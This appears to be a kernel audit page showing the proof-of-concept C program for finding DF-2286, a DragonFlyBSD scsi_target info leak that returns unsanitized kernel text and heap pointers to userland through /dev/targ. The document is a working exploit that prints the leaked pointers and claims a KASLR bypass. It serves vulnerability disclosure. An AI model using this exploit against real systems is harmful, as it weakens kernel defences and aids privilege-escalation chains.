⬢ DragonFlyBSD Kernel Audit
DF-2286 / poc2286.c
← back to finding ↓ download raw
/*
 * DF-2286 PoC -- targreturnccb() copies [retry_count, periph_priv) of the
 * kernel ccb_hdr back into the daemon's user CCB without sanitizing the
 * kernel-only fields, leaking the kernel text pointer cbfcnp (= &targdone,
 * scsi_target.c:769/:1001) and the kernel heap pointer path (softc->path,
 * xpt_setup_ccb at :999).  Sibling driver scsi_pass.c:610 explicitly
 * NULLs cbfcnp before the copy-back; scsi_target.c does not.
 *
 * Flow (rig: targsim fake SIM, target-capable):
 *   open /dev/targ -> TARGIOCENABLE -> write() an ATIO (queued, held by
 *   targsim) -> sysctl hw.targsim_complete=1 (xpt_done) -> targdone ->
 *   user_ccb_queue -> read() hands back the user_ccb pointer; the header
 *   slice copyout at scsi_target.c:967-969 has already written
 *   cbfcnp/path into our struct.
 *
 * Expected markers:
 *   "cbfcnp = 0xffff... (kernel)"  -- must equal nm(kernel) targdone
 *   "path   = 0xffff... (kernel heap)"
 *   "PASS sanitizes cbfcnp=NULL at scsi_pass.c:610; TARG does not"
 */
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/sysctl.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_targetio.h>

static int
sysctl_int(const char *name)
{
	int v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) < 0) {
		fprintf(stderr, "[-] sysctl %s: %s\n", name, strerror(errno));
		exit(1);
	}
	return (v);
}

int
main(void)
{
	struct ioc_enable_lun en;
	union ccb uccb;
	unsigned long p;
	uint64_t cbfcnp_v, path_v;
	ssize_t n;
	int fd, path_id;
	uint64_t back = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	path_id = sysctl_int("hw.targsim.path_id");
	printf("DF2286: targsim bus=%d\n", path_id);

	fd = open("/dev/targ", O_RDWR);
	if (fd < 0) {
		printf("DF2286: open FAILED %s\n", strerror(errno));
		return (1);
	}
	memset(&en, 0, sizeof(en));
	en.path_id = path_id;
	en.target_id = 0;
	en.lun_id = 0;
	if (ioctl(fd, TARGIOCENABLE, &en) < 0) {
		printf("DF2286: TARGIOCENABLE FAILED %s\n", strerror(errno));
		return (1);
	}
	printf("DF2286: target mode enabled\n");

	/* queue an ATIO; targsim holds it */
	memset(&uccb, 0, sizeof(uccb));
	uccb.ccb_h.pinfo.priority = 5;
	uccb.ccb_h.func_code = XPT_ACCEPT_TARGET_IO;
	p = (unsigned long)(uintptr_t)&uccb;
	if (write(fd, &p, sizeof(p)) != sizeof(p)) {
		printf("DF2286: write ATIO FAILED %s\n", strerror(errno));
		return (1);
	}
	printf("DF2286: ATIO queued (kernel cbfcnp=&targdone, path=softc->path)\n");
	sleep(1);

	/* complete every held CCB */
	{
		int one = 1;
		if (sysctlbyname("hw.targsim.complete", NULL, NULL,
		    &one, sizeof(one)) < 0) {
			printf("DF2286: targsim.complete FAILED %s\n",
			    strerror(errno));
			return (1);
		}
	}
	sleep(1);

	/* read the completed CCB pointer back */
	n = read(fd, &back, sizeof(back));
	if (n != sizeof(back)) {
		printf("DF2286: read FAILED n=%zd errno=%d\n", n, errno);
		return (1);
	}
	printf("DF2286: read() returned user_ccb=%p (expect %p)\n",
	    (void *)(uintptr_t)back, (void *)(uintptr_t)&uccb);

	size_t off_cbfcnp = __builtin_offsetof(struct ccb_hdr, cbfcnp);
	size_t off_path = __builtin_offsetof(struct ccb_hdr, path);
	memcpy(&cbfcnp_v, (char *)&uccb.ccb_h + off_cbfcnp,
	    sizeof(cbfcnp_v));
	memcpy(&path_v, (char *)&uccb.ccb_h + off_path, sizeof(path_v));

	printf("DF2286: LEAKED uccb.ccb_h.cbfcnp = 0x%016llx %s\n",
	    (unsigned long long)cbfcnp_v,
	    (cbfcnp_v >= 0xffff800000000000ULL) ? "(KERNEL pointer)" : "?");
	printf("DF2286: LEAKED uccb.ccb_h.path   = 0x%016llx %s\n",
	    (unsigned long long)path_v,
	    (path_v >= 0xffff800000000000ULL) ? "(KERNEL heap pointer)" : "?");
	printf("DF2286: user CCB func_code/status now = %#x / %#x\n",
	    uccb.ccb_h.func_code, uccb.ccb_h.status);

	if (cbfcnp_v >= 0xffff800000000000ULL &&
	    path_v >= 0xffff800000000000ULL) {
		printf("DF2286: REPRODUCED -- kernel text pointer (targdone) "
		    "and kernel heap pointer (cam_path) disclosed to the "
		    "target daemon; KASLR defeated (compare nm targdone)\n");
		return (0);
	}
	printf("DF2286: not reproduced\n");
	return (1);
}